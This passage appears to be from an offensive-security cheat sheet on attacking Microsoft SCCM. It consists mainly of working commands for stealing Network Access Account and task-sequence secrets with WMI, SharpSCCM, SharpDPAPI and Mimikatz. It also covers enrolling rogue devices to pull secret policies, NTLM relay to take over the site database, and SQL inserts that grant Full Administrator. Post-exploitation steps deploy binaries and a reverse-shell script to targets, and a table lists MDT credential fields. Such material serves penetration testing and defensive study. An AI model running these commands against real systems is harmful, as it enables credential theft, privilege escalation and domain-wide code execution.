With SYSTEM access on the client, the credentials can be retrieved via WMI with PowerShell:

#Network Access Accounts (NAA)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount

#TaskSequence variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence

#Device Collection variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable

All this secrets can be extracted with SharpSCCM or SharpDPAPI aswell:

./SharpDPAPI.exe SCCM

#Via CIM store on disk or WMI
./SharpSCCM.exe local secrets disk
./SharpSCCM.exe local secrets wmi

NAA can also be extracted with Mimikatz:

./mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm

Ultimately, NAA and TaskSequence can be retrieved remotely:

./SharpSCCM.exe get secrets

Linux

Sccmhunter permits to extract everything in one command.

python3 sccmhunter.py dpapi -u user1 -p password -d domain.local -dc-ip <DC_IP> -target <target_IP> -wmi

# Or with SystemDPAPIdump
SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local'

SCCM secrets policies

Full explains about these attacks are here.

Theory

To quickly summarize, SCCM permits to new computers to self-enroll without authentication in the SCCM environment via the Management Point, and, by default, the enrolment must be approved by an administrator. However, still by default, it is possible to approve an enrolment with a domain machine account.

This newly approved device can request the SCCM secret policies linked the collections where it has been added (by default, All systems or All Desktop and Server clients). These policies include the NAA credentials, the Task Sequence variables, and the Collection variables. They also indicate resources to download from the Distribution Point.

Sysadmins have the possibility to allow self-enrolment with automatic device approval. In this configuration, no machine credentials are needed since the new device will be automatically approved and able to obtain secret policies.

Exploitation

So, an attacker with a valid domain machine account can enroll a new device and use it to retrieve the secret policies.

SCCMSecrets permits to retrieve the three kinds of secrets.

addcomputer.py -computer-name 'EVIL$' -computer-pass 'ComputerPass123' -dc-ip <DC_IP> 'domain.local/user1':'password'
python3 sccmhunter.py http -u "user1" -p password -dc-ip <DC_IP> -cp ComputerPass123 -cn 'EVIL$'

# Or with SCCMSecrets
python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-name fake.domain.local --verbose --registration-sleep 300 --username 'machine$' --password 'password'

# With self-enrolment
python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-name fake.domain.local --verbose

In case of the SCCM configuration is enforced with HTTPS, the client authentication certificate of the authenticating computer must be added.

python3 SCCMSecrets.py policies --management-point 'https://managementPoint.domain.local' --client-name fake.domain.local --pki-cert ./cert.pem --pki-key ./key.pem --username 'machine$' --password 'password'

Exploitation can also be performed via a NTLM relay by relaying a device authentication:

ntlmrelayx.py -t 'http://managementPoint.domain.local/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug

Policies pivoting

Policies are linked to the device collections a device is member of. When a new device is compromised, it can be used to request the policies it can access and potentially find new credentials.

To request SCCM policies with an already enrolled device, its GUID (to identify it) and its private key (to sign the requests) are needed.

Then, the requests can be performed like this. The folder CLIENT_DEVICE must contain two files: guid.txt where the GUID is written, and key.pem containing the private key:

python3 SCCMSecrets.py policies -mp 'managementPoint.domain.local' --verbose --use-existing-device CLIENT_DEVICE/

SCCM content library

Full explains about these attacks are here.

Theory

This service hosts the ressources to provide to the SCCM clients (scripts, applications, OS, etc). Everything is hosted in a share named C:\SCCMContentLib and can be retrieved either via SMB in an authenticated way, or via HTTP with a specific URL, also with authentication.

However, it appears that sysadmins can configure the HTTP way to allow unauthenticated access. In this case, anonyone can download all the packages and search for sensitive data inside.

Exploitation

SCCMSecrets.py permits to download all the packages from the Distribution Point through HTTP:

python3 SCCMSecrets.py files --distribution-point 'distributionPoint.domain.local' --verbose --username 'user1' --password 'password'

If the Distribution Point allows unauthenticated requests on its HTTP service, packages can be downloaded without specifying credentials.

Or through a NTLM relay to the HTTP endpoint:

ntlmrelayx.py -t 'http://distributionPoint.domain.local/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug

Cmloot.py is useful for SMB extraction:

python3 cmloot.py domain/user1@ -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt

Note that, this part is independent from secret policies request: it is possible to retrieve the packages even if no device enrolment has been performed.

SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here and here.

Relay to the site database server

Windows

# Retrieve the controlled user SID in HEX format
.\SharpSCCM.exe get user-sid

# Setup a NTLM relay server to MSSQL or SMB
    # targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks
    # targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

# Coerce the primary site server authentication via Client Push Installation
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t "attacker.domain.local"

With a MSSQL socks open, an mssqlclient session can be obtained:

proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth

And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), 
--the “All Systems” scope (SMS00001), 
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');

Linux

# Print the stacked MSSQL queries for the user SID to escalate
python3 sccmhunter.py mssql -u user1 -p password -d domain.local -dc-ip <DC_IP> -tu user2 -sc <site_code> -stacked

# Run ntlmrelayx.py with the stacked query to execute
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -q <query>

# Or targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

Post exploitation via SCCM can now be performed on the network.

Relay to the SMS Provider server

If the HTTP API is accessible on the SMS Provider server, setup ntlmrelayx with this PR to add user1 as a new SCCM admin:

ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid <user1_SID>

And coerce the primary site server via client push, PetitPotam, PrinterBug ou whatever.

Relay from a passive to the active site server

When high availability in required, it is possible to find a passive site server that will be used only if the active site server stop working. Its machine account must be a member of the local Administrators group on the active site server.

Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server.

ntlmrelayx.py -t activeServer.domain.local -smb2support -socks

Then, through the proxy socks session, dump the SAM and LSA with secretsdump.py. The active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group.

python3 sccmhunter.py admin -u activeServer$ -p :<nthash> -ip <SMS_Provider>

() (C:\) >> add_admin controlledUser <controlledUser_SID>
() (C:\) >> show_admins

Post exploitation

CMPivot Service Abuse

The CMPivot service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses the HTTP REST API named AdminService provided by the SMS Provider server.

With SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation enumeration.

Windows

#Retrieve the ID of the ressource to enumerate
.\SharpSCCM.exe get resource-id -d "COMPUTER"

#Enumerate the local administrators
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "Administrators" -j

#Enumerate the installed softwares
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "InstalledSoftware" -j

Linux

# Authenticate to the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>

# Retrieve information about a target device and interact with it
() C:\ >> get_device target
() (C:\) >> interact <target_ID>

# Then, enumerate resources with built-in requests
(<target_ID>) (C:\) >> ls
(<target_ID>) (C:\) >> administrators
(<target_ID>) (C:\) >> help
...

Applications and scripts deployment

Windows

With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with SharpSCCM or PowerSCCM:

#Retrieve computers linked to the SCCM server
./SharpSCCM.exe get devices -w "Active=1 and Client=1"

#Execute a binary on a target device
./SharpSCCM.exe exec -d <target_device> -p bin.exe

#Execute a PS command on a target device
./SharpSCCM.exe exec -d <target_device> -p "powershell <ps_cmd>"

#Coerce a NTLM authentication from a domain user
#The user is the primary user of the device
#With no user specified, the NTLM authentication will come from the logged on user
#Add --run-as-system to obtain the computer account authentication instead
./SharpSCCM.exe exec -u DOMAIN\user1 -r <attacker_IP>

#Create SCCM Session with WMI
Find-SccmSiteCode -ComputerName <SCCM_computer>
New-SccmSession -ComputerName <SCCM_computer> -SiteCode <site_code> -ConnectionType WMI

#Retrieve computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer

#Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device"

#Add computer to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "<computer>" -CollectionName "col"

#Create an app to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "<application_name>" -PowerShellB64 "<powershell_script_in_B64>"

#Create an app deployment with the app and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "<application_name>" -AssignmentName "assig" -CollectionName "col"

#Force the machine in the collection to check the app update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col"

If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). PowerSCCM also permits to do it with this PR :

New-CMScriptDeployement -CMDrive '<new_drive_name>' -ServerFQDN '<SCCM_server_FQDN>' -TargetDevice '<target_FQDN>' -Path '.\reverse.ps1' -ScriptName 'EvilScript'

Linux

With sufficient rights over the AdminService API it is possible to create an approval administrator and deploy scripts.

# Open a session over the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>
# Promote as admin a controlled account
() C:\ >> add_admin user2 <account_SID>

# Reauthenticate and specify the new admin as an approval admin
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP> -au user2 -ap password2
# Select a target via it's SCCM ID and deploy a PowerShell script on it
() C:\ >> get_device TARGET
() C:\ >> interact <target_ID>
(<target_ID>) (C:\) >> script /home/user1/add_local_admin.ps1

Credentials extraction from MDT Shares

Credentials extraction from MDT Shares is presented in great details here.

The MDT Shares presence on the network can be identified with the following registry key on any enrolled computer : HKLM\Software\Microsoft\Deployment 4\ (it will not indicate where the share lies, but only that a MDT Share is present).

If the MDT Share allows read access with owned users, it can provide many sensitive credentials, used during application and system deployments. Files where credentials can be found :

Name What is it for?
DomainAdmin Account used to join the computer to the domain
DomainAdminPassword Password used to join the computer to the domain
UserID Account used for accessing network resources
UserPassword Password used for accessing network resources
AdminPassword The local administrator account on the computer
ADDSUserName (never seen this used) Account used when promoting to DC during deployment
ADDSPassword (never seen this used) Password used when promoting to DC during deployment
Password Password to use for promoting member server to a domain controller
SafeModeAdminPassword (never seen this used) Used when deploying DCs, it is the AD restore mode password
TPMOwnerPassword The TPM password if not set already
DBID Account used to connect to SQL server during deployment
DBPwd Password used to connect to SQL server during deployment
OSDBitLockerRecoveryPassword BitLocker recovery password

References